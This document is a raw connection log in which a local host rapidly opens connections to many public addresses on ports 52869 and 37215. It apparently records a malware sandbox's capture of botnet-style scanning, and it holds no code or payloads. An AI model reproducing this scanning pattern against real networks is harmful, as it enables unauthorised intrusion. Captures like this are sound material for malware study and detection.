Oct 6, 2024 20:00:45.655812979 CEST	39612	52869	192.168.2.15	41.183.191.136
Oct 6, 2024 20:00:45.655821085 CEST	49160	52869	192.168.2.15	156.252.250.122
Oct 6, 2024 20:00:45.655950069 CEST	57252	37215	192.168.2.15	156.80.69.183
Oct 6, 2024 20:00:45.656760931 CEST	52869	58010	41.67.114.133	192.168.2.15
Oct 6, 2024 20:00:45.656804085 CEST	58010	52869	192.168.2.15	41.67.114.133
Oct 6, 2024 20:00:45.656934977 CEST	39910	52869	192.168.2.15	41.183.191.136
Oct 6, 2024 20:00:45.657191992 CEST	45922	37215	192.168.2.15	41.17.121.18
Oct 6, 2024 20:00:45.658469915 CEST	52486	52869	192.168.2.15	156.209.222.208
Oct 6, 2024 20:00:45.658535957 CEST	52486	52869	192.168.2.15	156.209.222.208
Oct 6, 2024 20:00:45.658622980 CEST	48988	37215	192.168.2.15	156.42.236.52
Oct 6, 2024 20:00:45.658749104 CEST	37215	46858	156.252.170.108	192.168.2.15
Oct 6, 2024 20:00:45.658795118 CEST	46858	37215	192.168.2.15	156.252.170.108
Oct 6, 2024 20:00:45.659668922 CEST	52784	52869	192.168.2.15	156.209.222.208
Oct 6, 2024 20:00:45.659837008 CEST	52869	38818	41.90.125.11	192.168.2.15
Oct 6, 2024 20:00:45.659909964 CEST	38818	52869	192.168.2.15	41.90.125.11
Oct 6, 2024 20:00:45.659914017 CEST	58478	37215	192.168.2.15	41.233.44.190
Oct 6, 2024 20:00:45.660381079 CEST	52869	49160	41.226.63.180	192.168.2.15
Oct 6, 2024 20:00:45.660433054 CEST	49160	52869	192.168.2.15	41.226.63.180
Oct 6, 2024 20:00:45.660624981 CEST	52869	39612	41.183.191.136	192.168.2.15
Oct 6, 2024 20:00:45.661087990 CEST	52228	52869	192.168.2.15	197.248.131.4
Oct 6, 2024 20:00:45.661137104 CEST	52228	52869	192.168.2.15	197.248.131.4
Oct 6, 2024 20:00:45.661226988 CEST	40306	37215	192.168.2.15	156.139.12.174
Oct 6, 2024 20:00:45.662401915 CEST	52526	52869	192.168.2.15	197.248.131.4
Oct 6, 2024 20:00:45.662604094 CEST	48806	37215	192.168.2.15	197.45.60.52
Oct 6, 2024 20:00:45.663455963 CEST	52869	52486	156.209.222.208	192.168.2.15
Oct 6, 2024 20:00:45.663800955 CEST	44004	52869	192.168.2.15	197.245.110.106
Oct 6, 2024 20:00:45.663801908 CEST	44004	52869	192.168.2.15	197.245.110.106
Oct 6, 2024 20:00:45.663932085 CEST	58082	37215	192.168.2.15	156.16.124.10
Oct 6, 2024 20:00:45.664887905 CEST	44302	52869	192.168.2.15	197.245.110.106
Oct 6, 2024 20:00:45.665473938 CEST	50862	37215	192.168.2.15	41.120.114.119
Oct 6, 2024 20:00:45.665967941 CEST	52869	52228	197.248.131.4	192.168.2.15
Oct 6, 2024 20:00:45.666918039 CEST	58748	52869	192.168.2.15	41.160.145.109
Oct 6, 2024 20:00:45.666949034 CEST	58748	52869	192.168.2.15	41.160.145.109
Oct 6, 2024 20:00:45.667061090 CEST	53382	37215	192.168.2.15	41.245.196.43
Oct 6, 2024 20:00:45.667968988 CEST	59046	52869	192.168.2.15	41.160.145.109
Oct 6, 2024 20:00:45.668209076 CEST	51026	37215	192.168.2.15	41.30.135.209
Oct 6, 2024 20:00:45.668629885 CEST	52869	44004	197.245.110.106	192.168.2.15
Oct 6, 2024 20:00:45.669802904 CEST	44782	52869	192.168.2.15	41.152.8.136
Oct 6, 2024 20:00:45.669802904 CEST	44782	52869	192.168.2.15	41.152.8.136
Oct 6, 2024 20:00:45.669882059 CEST	51502	37215	192.168.2.15	197.248.150.107
Oct 6, 2024 20:00:45.671535969 CEST	45080	52869	192.168.2.15	41.152.8.136
Oct 6, 2024 20:00:45.671777010 CEST	52869	58748	41.160.145.109	192.168.2.15
Oct 6, 2024 20:00:45.671906948 CEST	55586	37215	192.168.2.15	156.186.47.194
Oct 6, 2024 20:00:45.672808886 CEST	52869	59046	41.160.145.109	192.168.2.15
Oct 6, 2024 20:00:45.672872066 CEST	59046	52869	192.168.2.15	41.160.145.109
Oct 6, 2024 20:00:45.673520088 CEST	56316	52869	192.168.2.15	197.225.206.52
Oct 6, 2024 20:00:45.673520088 CEST	56316	52869	192.168.2.15	197.225.206.52
Oct 6, 2024 20:00:45.673664093 CEST	41450	37215	192.168.2.15	41.196.187.73
Oct 6, 2024 20:00:45.674637079 CEST	56616	52869	192.168.2.15	197.225.206.52
Oct 6, 2024 20:00:45.674721003 CEST	52869	44782	41.152.8.136	192.168.2.15
Oct 6, 2024 20:00:45.674818993 CEST	34308	37215	192.168.2.15	41.241.82.163
Oct 6, 2024 20:00:45.676175117 CEST	57182	52869	192.168.2.15	156.140.4.216
Oct 6, 2024 20:00:45.676203966 CEST	57182	52869	192.168.2.15	156.140.4.216
Oct 6, 2024 20:00:45.676276922 CEST	55872	37215	192.168.2.15	156.136.209.164
Oct 6, 2024 20:00:45.677140951 CEST	57484	52869	192.168.2.15	156.140.4.216
Oct 6, 2024 20:00:45.677546978 CEST	35814	37215	192.168.2.15	197.199.224.132
Oct 6, 2024 20:00:45.678350925 CEST	52869	56316	197.225.206.52	192.168.2.15
Oct 6, 2024 20:00:45.679249048 CEST	59494	52869	192.168.2.15	197.115.54.7
Oct 6, 2024 20:00:45.679249048 CEST	59494	52869	192.168.2.15	197.115.54.7
Oct 6, 2024 20:00:45.679328918 CEST	55388	37215	192.168.2.15	197.209.210.67
Oct 6, 2024 20:00:45.680676937 CEST	59798	52869	192.168.2.15	197.115.54.7
Oct 6, 2024 20:00:45.681021929 CEST	52869	57182	156.140.4.216	192.168.2.15
Oct 6, 2024 20:00:45.681173086 CEST	37215	55872	156.136.209.164	192.168.2.15
Oct 6, 2024 20:00:45.681225061 CEST	55872	37215	192.168.2.15	156.136.209.164
Oct 6, 2024 20:00:45.681379080 CEST	37000	37215	192.168.2.15	156.221.220.140
Oct 6, 2024 20:00:45.683233976 CEST	55836	52869	192.168.2.15	41.88.112.9
Oct 6, 2024 20:00:45.683234930 CEST	55836	52869	192.168.2.15	41.88.112.9
Oct 6, 2024 20:00:45.683358908 CEST	46158	37215	192.168.2.15	41.40.22.66
Oct 6, 2024 20:00:45.684113026 CEST	52869	59494	197.115.54.7	192.168.2.15
Oct 6, 2024 20:00:45.686009884 CEST	56142	52869	192.168.2.15	41.88.112.9
Oct 6, 2024 20:00:45.686431885 CEST	50306	37215	192.168.2.15	197.230.212.179
Oct 6, 2024 20:00:45.687851906 CEST	59818	52869	192.168.2.15	197.66.205.185
Oct 6, 2024 20:00:45.687910080 CEST	59818	52869	192.168.2.15	197.66.205.185
Oct 6, 2024 20:00:45.687968969 CEST	50170	37215	192.168.2.15	197.164.168.63
Oct 6, 2024 20:00:45.688047886 CEST	52869	55836	41.88.112.9	192.168.2.15
Oct 6, 2024 20:00:45.689048052 CEST	60126	52869	192.168.2.15	197.66.205.185
Oct 6, 2024 20:00:45.689342022 CEST	45548	37215	192.168.2.15	156.252.219.203
Oct 6, 2024 20:00:45.690896988 CEST	52910	52869	192.168.2.15	41.234.254.118
Oct 6, 2024 20:00:45.690927982 CEST	52910	52869	192.168.2.15	41.234.254.118
Oct 6, 2024 20:00:45.690999985 CEST	52282	37215	192.168.2.15	156.68.175.89
Oct 6, 2024 20:00:45.692009926 CEST	53220	52869	192.168.2.15	41.234.254.118
Oct 6, 2024 20:00:45.692199945 CEST	54520	37215	192.168.2.15	197.100.196.209
Oct 6, 2024 20:00:45.692877054 CEST	52869	59818	197.66.205.185	192.168.2.15
Oct 6, 2024 20:00:45.692887068 CEST	37215	50170	197.164.168.63	192.168.2.15
Oct 6, 2024 20:00:45.692934990 CEST	50170	37215	192.168.2.15	197.164.168.63
Oct 6, 2024 20:00:45.693542004 CEST	47080	52869	192.168.2.15	197.91.217.111
Oct 6, 2024 20:00:45.693557024 CEST	47080	52869	192.168.2.15	197.91.217.111
Oct 6, 2024 20:00:45.693604946 CEST	48854	37215	192.168.2.15	156.169.155.153
Oct 6, 2024 20:00:45.694778919 CEST	47392	52869	192.168.2.15	197.91.217.111
Oct 6, 2024 20:00:45.694909096 CEST	51078	37215	192.168.2.15	197.6.85.118
Oct 6, 2024 20:00:45.695723057 CEST	52869	52910	41.234.254.118	192.168.2.15
Oct 6, 2024 20:00:45.696192026 CEST	52028	52869	192.168.2.15	197.188.171.59
Oct 6, 2024 20:00:45.696192026 CEST	52028	52869	192.168.2.15	197.188.171.59
Oct 6, 2024 20:00:45.696270943 CEST	38084	37215	192.168.2.15	197.37.70.229
Oct 6, 2024 20:00:45.697637081 CEST	52342	52869	192.168.2.15	197.188.171.59
Oct 6, 2024 20:00:45.697981119 CEST	34798	37215	192.168.2.15	41.188.37.80
Oct 6, 2024 20:00:45.698311090 CEST	52869	47080	197.91.217.111	192.168.2.15
Oct 6, 2024 20:00:45.698996067 CEST	43846	52869	192.168.2.15	156.84.91.166
Oct 6, 2024 20:00:45.698996067 CEST	43846	52869	192.168.2.15	156.84.91.166
Oct 6, 2024 20:00:45.700083971 CEST	44160	52869	192.168.2.15	156.84.91.166
Oct 6, 2024 20:00:45.700547934 CEST	54668	37215	192.168.2.15	156.129.242.169
Oct 6, 2024 20:00:45.701018095 CEST	52869	52028	197.188.171.59	192.168.2.15
Oct 6, 2024 20:00:45.701168060 CEST	37215	38084	197.37.70.229	192.168.2.15
Oct 6, 2024 20:00:45.701245070 CEST	38084	37215	192.168.2.15	197.37.70.229
Oct 6, 2024 20:00:45.701425076 CEST	51952	52869	192.168.2.15	197.6.243.246
Oct 6, 2024 20:00:45.701425076 CEST	51952	52869	192.168.2.15	197.6.243.246
Oct 6, 2024 20:00:45.701561928 CEST	52869	39612	41.183.191.136	192.168.2.15
Oct 6, 2024 20:00:45.702117920 CEST	58518	37215	192.168.2.15	156.42.253.125
Oct 6, 2024 20:00:45.702635050 CEST	52268	52869	192.168.2.15	197.6.243.246
Oct 6, 2024 20:00:45.703887939 CEST	52869	43846	156.84.91.166	192.168.2.15
Oct 6, 2024 20:00:45.703994036 CEST	32772	52869	192.168.2.15	156.111.21.115
Oct 6, 2024 20:00:45.703994036 CEST	32772	52869	192.168.2.15	156.111.21.115
Oct 6, 2024 20:00:45.704349041 CEST	44968	37215	192.168.2.15	156.132.32.120
Oct 6, 2024 20:00:45.705245018 CEST	33088	52869	192.168.2.15	156.111.21.115
Oct 6, 2024 20:00:45.705579996 CEST	52869	52486	156.209.222.208	192.168.2.15
Oct 6, 2024 20:00:45.706239939 CEST	52869	51952	197.6.243.246	192.168.2.15
Oct 6, 2024 20:00:45.706481934 CEST	60956	37215	192.168.2.15	197.127.80.98
Oct 6, 2024 20:00:45.706594944 CEST	56318	52869	192.168.2.15	41.201.71.143
Oct 6, 2024 20:00:45.706594944 CEST	56318	52869	192.168.2.15	41.201.71.143
Oct 6, 2024 20:00:45.707932949 CEST	56634	52869	192.168.2.15	41.201.71.143
Oct 6, 2024 20:00:45.708437920 CEST	46954	37215	192.168.2.15	156.92.240.142
Oct 6, 2024 20:00:45.708920002 CEST	52869	32772	156.111.21.115	192.168.2.15
Oct 6, 2024 20:00:45.709214926 CEST	47168	52869	192.168.2.15	197.102.208.139
Oct 6, 2024 20:00:45.709214926 CEST	47168	52869	192.168.2.15	197.102.208.139
Oct 6, 2024 20:00:45.709570885 CEST	52869	44004	197.245.110.106	192.168.2.15
Oct 6, 2024 20:00:45.709590912 CEST	52869	52228	197.248.131.4	192.168.2.15
Oct 6, 2024 20:00:45.710207939 CEST	56180	37215	192.168.2.15	197.91.228.36
Oct 6, 2024 20:00:45.710304022 CEST	47486	52869	192.168.2.15	197.102.208.139
Oct 6, 2024 20:00:45.711544037 CEST	52869	56318	41.201.71.143	192.168.2.15
Oct 6, 2024 20:00:45.712275028 CEST	52038	52869	192.168.2.15	197.223.1.202
Oct 6, 2024 20:00:45.712275982 CEST	52038	52869	192.168.2.15	197.223.1.202
Oct 6, 2024 20:00:45.712563992 CEST	59352	37215	192.168.2.15	156.112.0.159
Oct 6, 2024 20:00:45.712909937 CEST	52869	56634	41.201.71.143	192.168.2.15
Oct 6, 2024 20:00:45.712970972 CEST	56634	52869	192.168.2.15	41.201.71.143
Oct 6, 2024 20:00:45.713299990 CEST	52356	52869	192.168.2.15	197.223.1.202
Oct 6, 2024 20:00:45.713567972 CEST	52869	58748	41.160.145.109	192.168.2.15
Oct 6, 2024 20:00:45.714035988 CEST	60734	37215	192.168.2.15	41.128.123.30
Oct 6, 2024 20:00:45.714046955 CEST	52869	47168	197.102.208.139	192.168.2.15
Oct 6, 2024 20:00:45.714252949 CEST	49000	52869	192.168.2.15	197.116.43.94
Oct 6, 2024 20:00:45.714252949 CEST	49000	52869	192.168.2.15	197.116.43.94
Oct 6, 2024 20:00:45.715352058 CEST	49318	52869	192.168.2.15	197.116.43.94
Oct 6, 2024 20:00:45.716126919 CEST	55362	37215	192.168.2.15	156.133.233.253
Oct 6, 2024 20:00:45.716602087 CEST	49878	52869	192.168.2.15	41.84.181.199
Oct 6, 2024 20:00:45.716602087 CEST	49878	52869	192.168.2.15	41.84.181.199
Oct 6, 2024 20:00:45.717176914 CEST	52869	52038	197.223.1.202	192.168.2.15
Oct 6, 2024 20:00:45.717581034 CEST	52869	44782	41.152.8.136	192.168.2.15
Oct 6, 2024 20:00:45.717825890 CEST	33900	37215	192.168.2.15	197.45.3.126
Oct 6, 2024 20:00:45.717914104 CEST	50198	52869	192.168.2.15	41.84.181.199
Oct 6, 2024 20:00:45.719052076 CEST	52869	49000	197.116.43.94	192.168.2.15
Oct 6, 2024 20:00:45.720078945 CEST	59256	52869	192.168.2.15	197.167.179.38
Oct 6, 2024 20:00:45.720078945 CEST	59256	52869	192.168.2.15	197.167.179.38
Oct 6, 2024 20:00:45.720562935 CEST	46354	37215	192.168.2.15	41.136.93.105
Oct 6, 2024 20:00:45.720927000 CEST	59576	52869	192.168.2.15	197.167.179.38
Oct 6, 2024 20:00:45.720937967 CEST	37215	55362	156.133.233.253	192.168.2.15
Oct 6, 2024 20:00:45.720973969 CEST	55362	37215	192.168.2.15	156.133.233.253
Oct 6, 2024 20:00:45.721390009 CEST	52869	49878	41.84.181.199	192.168.2.15
Oct 6, 2024 20:00:45.721580982 CEST	52869	57182	156.140.4.216	192.168.2.15
Oct 6, 2024 20:00:45.721590996 CEST	52869	56316	197.225.206.52	192.168.2.15
Oct 6, 2024 20:00:45.722264051 CEST	45194	37215	192.168.2.15	197.96.94.0
Oct 6, 2024 20:00:45.722503901 CEST	58434	52869	192.168.2.15	156.78.143.45
Oct 6, 2024 20:00:45.722503901 CEST	58434	52869	192.168.2.15	156.78.143.45
Oct 6, 2024 20:00:45.724057913 CEST	58754	52869	192.168.2.15	156.78.143.45
Oct 6, 2024 20:00:45.724963903 CEST	52869	59256	197.167.179.38	192.168.2.15
Oct 6, 2024 20:00:45.725087881 CEST	42512	37215	192.168.2.15	156.68.15.29
Oct 6, 2024 20:00:45.725368977 CEST	36268	52869	192.168.2.15	41.33.42.120
Oct 6, 2024 20:00:45.725399971 CEST	36268	52869	192.168.2.15	41.33.42.120
Oct 6, 2024 20:00:45.725595951 CEST	52869	59494	197.115.54.7	192.168.2.15
Oct 6, 2024 20:00:45.726547956 CEST	36588	52869	192.168.2.15	41.33.42.120
Oct 6, 2024 20:00:45.727045059 CEST	58372	37215	192.168.2.15	41.38.116.194
Oct 6, 2024 20:00:45.727401018 CEST	52869	58434	156.78.143.45	192.168.2.15
Oct 6, 2024 20:00:45.727642059 CEST	41368	52869	192.168.2.15	41.49.2.128
Oct 6, 2024 20:00:45.727642059 CEST	41368	52869	192.168.2.15	41.49.2.128
Oct 6, 2024 20:00:45.729547024 CEST	41688	52869	192.168.2.15	41.49.2.128
Oct 6, 2024 20:00:45.729583979 CEST	52869	55836	41.88.112.9	192.168.2.15
Oct 6, 2024 20:00:45.729855061 CEST	36376	37215	192.168.2.15	197.24.111.30
Oct 6, 2024 20:00:45.730283022 CEST	52869	36268	41.33.42.120	192.168.2.15
Oct 6, 2024 20:00:45.730595112 CEST	59566	52869	192.168.2.15	41.111.81.107
Oct 6, 2024 20:00:45.730595112 CEST	59566	52869	192.168.2.15	41.111.81.107
Oct 6, 2024 20:00:45.732536077 CEST	52869	41368	41.49.2.128	192.168.2.15
Oct 6, 2024 20:00:45.732763052 CEST	52484	37215	192.168.2.15	197.203.124.49
Oct 6, 2024 20:00:45.733092070 CEST	59888	52869	192.168.2.15	41.111.81.107
Oct 6, 2024 20:00:45.733567953 CEST	52869	59818	197.66.205.185	192.168.2.15
Oct 6, 2024 20:00:45.734390974 CEST	52869	41688	41.49.2.128	192.168.2.15
Oct 6, 2024 20:00:45.734443903 CEST	41688	52869	192.168.2.15	41.49.2.128
Oct 6, 2024 20:00:45.735196114 CEST	49416	37215	192.168.2.15	197.109.68.244
Oct 6, 2024 20:00:45.735207081 CEST	49416	37215	192.168.2.15	156.58.3.216
Oct 6, 2024 20:00:45.735207081 CEST	49416	37215	192.168.2.15	197.43.155.237
Oct 6, 2024 20:00:45.735225916 CEST	49416	37215	192.168.2.15	41.161.162.223
Oct 6, 2024 20:00:45.735235929 CEST	49416	37215	192.168.2.15	156.13.100.69
Oct 6, 2024 20:00:45.735235929 CEST	49416	37215	192.168.2.15	41.77.56.210
Oct 6, 2024 20:00:45.735238075 CEST	49416	37215	192.168.2.15	41.193.118.187
Oct 6, 2024 20:00:45.735238075 CEST	49416	37215	192.168.2.15	156.58.101.202
Oct 6, 2024 20:00:45.735238075 CEST	49416	37215	192.168.2.15	156.204.51.196
Oct 6, 2024 20:00:45.735255957 CEST	49416	37215	192.168.2.15	197.221.120.163
Oct 6, 2024 20:00:45.735261917 CEST	49416	37215	192.168.2.15	197.158.115.136
Oct 6, 2024 20:00:45.735270977 CEST	49416	37215	192.168.2.15	156.192.208.189
Oct 6, 2024 20:00:45.735285044 CEST	49416	37215	192.168.2.15	41.22.82.186
Oct 6, 2024 20:00:45.735291958 CEST	49416	37215	192.168.2.15	41.80.115.61
Oct 6, 2024 20:00:45.735291958 CEST	49416	37215	192.168.2.15	41.59.26.213
Oct 6, 2024 20:00:45.735291958 CEST	49416	37215	192.168.2.15	156.79.91.148
Oct 6, 2024 20:00:45.735296965 CEST	49416	37215	192.168.2.15	197.25.233.165
Oct 6, 2024 20:00:45.735297918 CEST	49416	37215	192.168.2.15	156.17.220.183
Oct 6, 2024 20:00:45.735300064 CEST	49416	37215	192.168.2.15	41.25.124.74
Oct 6, 2024 20:00:45.735300064 CEST	49416	37215	192.168.2.15	156.199.140.254
Oct 6, 2024 20:00:45.735306978 CEST	49416	37215	192.168.2.15	197.55.31.219
Oct 6, 2024 20:00:45.735313892 CEST	49416	37215	192.168.2.15	41.150.46.183
Oct 6, 2024 20:00:45.735316038 CEST	49416	37215	192.168.2.15	156.248.157.243
Oct 6, 2024 20:00:45.735321999 CEST	49416	37215	192.168.2.15	41.72.72.220
Oct 6, 2024 20:00:45.735328913 CEST	49416	37215	192.168.2.15	41.78.197.98
Oct 6, 2024 20:00:45.735341072 CEST	49416	37215	192.168.2.15	41.216.75.255
Oct 6, 2024 20:00:45.735342026 CEST	49416	37215	192.168.2.15	156.240.71.200
Oct 6, 2024 20:00:45.735342026 CEST	49416	37215	192.168.2.15	156.33.243.72
Oct 6, 2024 20:00:45.735367060 CEST	49416	37215	192.168.2.15	197.90.74.7
Oct 6, 2024 20:00:45.735378981 CEST	49416	37215	192.168.2.15	197.133.37.142
Oct 6, 2024 20:00:45.735380888 CEST	49416	37215	192.168.2.15	41.94.49.100
Oct 6, 2024 20:00:45.735380888 CEST	49416	37215	192.168.2.15	156.36.120.46
Oct 6, 2024 20:00:45.735388041 CEST	49416	37215	192.168.2.15	197.226.72.248
Oct 6, 2024 20:00:45.735388994 CEST	49416	37215	192.168.2.15	156.195.15.118
Oct 6, 2024 20:00:45.735388041 CEST	52869	59566	41.111.81.107	192.168.2.15
Oct 6, 2024 20:00:45.735388041 CEST	49416	37215	192.168.2.15	156.243.123.221
Oct 6, 2024 20:00:45.735388994 CEST	49416	37215	192.168.2.15	197.181.26.125
Oct 6, 2024 20:00:45.735388994 CEST	49416	37215	192.168.2.15	41.180.198.123
Oct 6, 2024 20:00:45.735400915 CEST	49416	37215	192.168.2.15	41.76.20.184
Oct 6, 2024 20:00:45.735425949 CEST	49416	37215	192.168.2.15	156.61.142.54
Oct 6, 2024 20:00:45.735425949 CEST	49416	37215	192.168.2.15	156.242.227.124
Oct 6, 2024 20:00:45.735435963 CEST	49416	37215	192.168.2.15	197.239.105.6
Oct 6, 2024 20:00:45.735435963 CEST	49416	37215	192.168.2.15	156.158.254.39
Oct 6, 2024 20:00:45.735436916 CEST	49416	37215	192.168.2.15	156.224.8.61
Oct 6, 2024 20:00:45.735436916 CEST	49416	37215	192.168.2.15	41.119.39.97
Oct 6, 2024 20:00:45.735436916 CEST	49416	37215	192.168.2.15	41.120.21.196
Oct 6, 2024 20:00:45.735436916 CEST	49416	37215	192.168.2.15	156.102.75.138
Oct 6, 2024 20:00:45.735436916 CEST	49416	37215	192.168.2.15	156.56.182.122
Oct 6, 2024 20:00:45.735439062 CEST	49416	37215	192.168.2.15	197.121.1.165
Oct 6, 2024 20:00:45.735452890 CEST	49416	37215	192.168.2.15	156.28.27.70
Oct 6, 2024 20:00:45.735455990 CEST	49416	37215	192.168.2.15	156.156.56.220
Oct 6, 2024 20:00:45.735466003 CEST	49416	37215	192.168.2.15	156.243.214.203
Oct 6, 2024 20:00:45.735477924 CEST	49416	37215	192.168.2.15	41.156.118.236
Oct 6, 2024 20:00:45.735479116 CEST	49416	37215	192.168.2.15	156.27.155.228
Oct 6, 2024 20:00:45.735479116 CEST	49416	37215	192.168.2.15	41.31.133.122
Oct 6, 2024 20:00:45.735490084 CEST	49416	37215	192.168.2.15	41.239.169.162
Oct 6, 2024 20:00:45.735503912 CEST	49416	37215	192.168.2.15	41.119.3.99
Oct 6, 2024 20:00:45.735503912 CEST	49416	37215	192.168.2.15	41.159.94.74
Oct 6, 2024 20:00:45.735517979 CEST	49416	37215	192.168.2.15	156.31.99.79
Oct 6, 2024 20:00:45.735517979 CEST	49416	37215	192.168.2.15	41.237.185.153
Oct 6, 2024 20:00:45.735528946 CEST	49416	37215	192.168.2.15	156.54.195.116
Oct 6, 2024 20:00:45.735532045 CEST	49416	37215	192.168.2.15	197.128.89.58
Oct 6, 2024 20:00:45.735542059 CEST	49416	37215	192.168.2.15	156.22.71.38
Oct 6, 2024 20:00:45.735543966 CEST	49416	37215	192.168.2.15	41.168.59.31
Oct 6, 2024 20:00:45.735543966 CEST	49416	37215	192.168.2.15	41.46.64.155
Oct 6, 2024 20:00:45.735543966 CEST	49416	37215	192.168.2.15	197.182.218.9
Oct 6, 2024 20:00:45.735543966 CEST	49416	37215	192.168.2.15	156.43.111.81
Oct 6, 2024 20:00:45.735560894 CEST	49416	37215	192.168.2.15	197.139.134.221
Oct 6, 2024 20:00:45.735569000 CEST	49416	37215	192.168.2.15	41.213.216.45
Oct 6, 2024 20:00:45.735579014 CEST	49416	37215	192.168.2.15	41.102.204.184
Oct 6, 2024 20:00:45.735579014 CEST	49416	37215	192.168.2.15	41.39.126.51
Oct 6, 2024 20:00:45.735584021 CEST	49416	37215	192.168.2.15	41.225.98.135
Oct 6, 2024 20:00:45.735585928 CEST	49416	37215	192.168.2.15	41.203.124.223
Oct 6, 2024 20:00:45.735590935 CEST	49416	37215	192.168.2.15	41.88.91.228
Oct 6, 2024 20:00:45.735603094 CEST	49416	37215	192.168.2.15	41.156.101.211
Oct 6, 2024 20:00:45.735605001 CEST	49416	37215	192.168.2.15	156.199.56.146
Oct 6, 2024 20:00:45.735618114 CEST	49416	37215	192.168.2.15	197.63.90.137
Oct 6, 2024 20:00:45.735619068 CEST	49416	37215	192.168.2.15	41.231.171.97
Oct 6, 2024 20:00:45.735621929 CEST	49416	37215	192.168.2.15	197.209.123.18
Oct 6, 2024 20:00:45.735630035 CEST	49416	37215	192.168.2.15	197.226.246.236
Oct 6, 2024 20:00:45.735635042 CEST	49416	37215	192.168.2.15	41.201.146.22
Oct 6, 2024 20:00:45.735635996 CEST	49416	37215	192.168.2.15	41.203.209.126
Oct 6, 2024 20:00:45.735641003 CEST	49416	37215	192.168.2.15	197.31.199.73
Oct 6, 2024 20:00:45.735645056 CEST	49416	37215	192.168.2.15	41.240.96.11
Oct 6, 2024 20:00:45.735647917 CEST	49416	37215	192.168.2.15	41.197.184.58
Oct 6, 2024 20:00:45.735652924 CEST	49416	37215	192.168.2.15	156.31.27.159
Oct 6, 2024 20:00:45.735665083 CEST	49416	37215	192.168.2.15	156.215.95.206
Oct 6, 2024 20:00:45.735665083 CEST	49416	37215	192.168.2.15	41.233.33.88
Oct 6, 2024 20:00:45.735673904 CEST	49416	37215	192.168.2.15	197.197.195.213
Oct 6, 2024 20:00:45.735676050 CEST	49416	37215	192.168.2.15	41.195.74.192
Oct 6, 2024 20:00:45.735676050 CEST	49416	37215	192.168.2.15	41.34.38.88
Oct 6, 2024 20:00:45.735685110 CEST	49416	37215	192.168.2.15	41.186.68.69
Oct 6, 2024 20:00:45.735697031 CEST	49416	37215	192.168.2.15	156.255.28.219
Oct 6, 2024 20:00:45.735698938 CEST	49416	37215	192.168.2.15	197.130.177.241
Oct 6, 2024 20:00:45.735716105 CEST	49416	37215	192.168.2.15	41.208.61.13
Oct 6, 2024 20:00:45.735716105 CEST	49416	37215	192.168.2.15	156.81.108.230
Oct 6, 2024 20:00:45.735732079 CEST	49416	37215	192.168.2.15	41.171.161.132
Oct 6, 2024 20:00:45.735737085 CEST	49416	37215	192.168.2.15	156.113.38.10
Oct 6, 2024 20:00:45.735748053 CEST	49416	37215	192.168.2.15	41.237.35.49
Oct 6, 2024 20:00:45.735748053 CEST	49416	37215	192.168.2.15	156.126.219.163
Oct 6, 2024 20:00:45.735753059 CEST	49416	37215	192.168.2.15	197.238.94.46
Oct 6, 2024 20:00:45.735753059 CEST	49416	37215	192.168.2.15	156.215.168.188
Oct 6, 2024 20:00:45.735760927 CEST	49416	37215	192.168.2.15	197.176.85.88
Oct 6, 2024 20:00:45.735774994 CEST	49416	37215	192.168.2.15	156.68.211.103
Oct 6, 2024 20:00:45.735774994 CEST	49416	37215	192.168.2.15	197.183.13.120
Oct 6, 2024 20:00:45.735775948 CEST	49416	37215	192.168.2.15	41.110.16.20
Oct 6, 2024 20:00:45.735780954 CEST	49416	37215	192.168.2.15	41.122.58.155
Oct 6, 2024 20:00:45.735780954 CEST	49416	37215	192.168.2.15	197.69.141.135
Oct 6, 2024 20:00:45.735796928 CEST	49416	37215	192.168.2.15	41.9.39.185
Oct 6, 2024 20:00:45.735796928 CEST	49416	37215	192.168.2.15	197.11.64.167
Oct 6, 2024 20:00:45.735810041 CEST	49416	37215	192.168.2.15	197.165.23.88
Oct 6, 2024 20:00:45.735811949 CEST	49416	37215	192.168.2.15	197.58.208.171
Oct 6, 2024 20:00:45.735830069 CEST	49416	37215	192.168.2.15	197.93.128.143
Oct 6, 2024 20:00:45.735836029 CEST	49416	37215	192.168.2.15	41.77.35.14
Oct 6, 2024 20:00:45.735836029 CEST	49416	37215	192.168.2.15	197.208.60.255
Oct 6, 2024 20:00:45.735843897 CEST	49416	37215	192.168.2.15	197.16.84.148
Oct 6, 2024 20:00:45.735855103 CEST	49416	37215	192.168.2.15	197.173.243.101
Oct 6, 2024 20:00:45.735861063 CEST	49416	37215	192.168.2.15	41.21.23.146
Oct 6, 2024 20:00:45.735869884 CEST	49416	37215	192.168.2.15	197.25.213.191
Oct 6, 2024 20:00:45.735871077 CEST	49416	37215	192.168.2.15	156.15.202.50
Oct 6, 2024 20:00:45.735872984 CEST	49416	37215	192.168.2.15	197.253.15.68
Oct 6, 2024 20:00:45.735877037 CEST	49416	37215	192.168.2.15	41.183.200.118
Oct 6, 2024 20:00:45.735877037 CEST	49416	37215	192.168.2.15	41.252.220.154
Oct 6, 2024 20:00:45.735881090 CEST	49416	37215	192.168.2.15	41.43.130.20
Oct 6, 2024 20:00:45.735904932 CEST	49416	37215	192.168.2.15	197.118.86.105
Oct 6, 2024 20:00:45.735913992 CEST	49416	37215	192.168.2.15	156.161.162.116
Oct 6, 2024 20:00:45.735913992 CEST	49416	37215	192.168.2.15	156.235.106.11
Oct 6, 2024 20:00:45.735913992 CEST	49416	37215	192.168.2.15	197.224.170.232
Oct 6, 2024 20:00:45.735914946 CEST	49416	37215	192.168.2.15	197.69.141.121
Oct 6, 2024 20:00:45.735928059 CEST	49416	37215	192.168.2.15	156.112.159.151
Oct 6, 2024 20:00:45.735929012 CEST	49416	37215	192.168.2.15	156.143.91.225
Oct 6, 2024 20:00:45.735929966 CEST	49416	37215	192.168.2.15	156.125.39.110
Oct 6, 2024 20:00:45.735949993 CEST	49416	37215	192.168.2.15	156.43.61.3
Oct 6, 2024 20:00:45.735951900 CEST	49416	37215	192.168.2.15	197.188.246.128
Oct 6, 2024 20:00:45.735955000 CEST	49416	37215	192.168.2.15	197.32.250.103
Oct 6, 2024 20:00:45.735976934 CEST	49416	37215	192.168.2.15	197.133.169.187
Oct 6, 2024 20:00:45.735984087 CEST	49416	37215	192.168.2.15	41.137.138.39
Oct 6, 2024 20:00:45.735987902 CEST	49416	37215	192.168.2.15	41.168.26.30
Oct 6, 2024 20:00:45.735987902 CEST	49416	37215	192.168.2.15	156.153.70.239
Oct 6, 2024 20:00:45.735991955 CEST	49416	37215	192.168.2.15	156.68.2.185
Oct 6, 2024 20:00:45.736001015 CEST	49416	37215	192.168.2.15	197.59.177.124
Oct 6, 2024 20:00:45.736001015 CEST	49416	37215	192.168.2.15	156.39.62.130
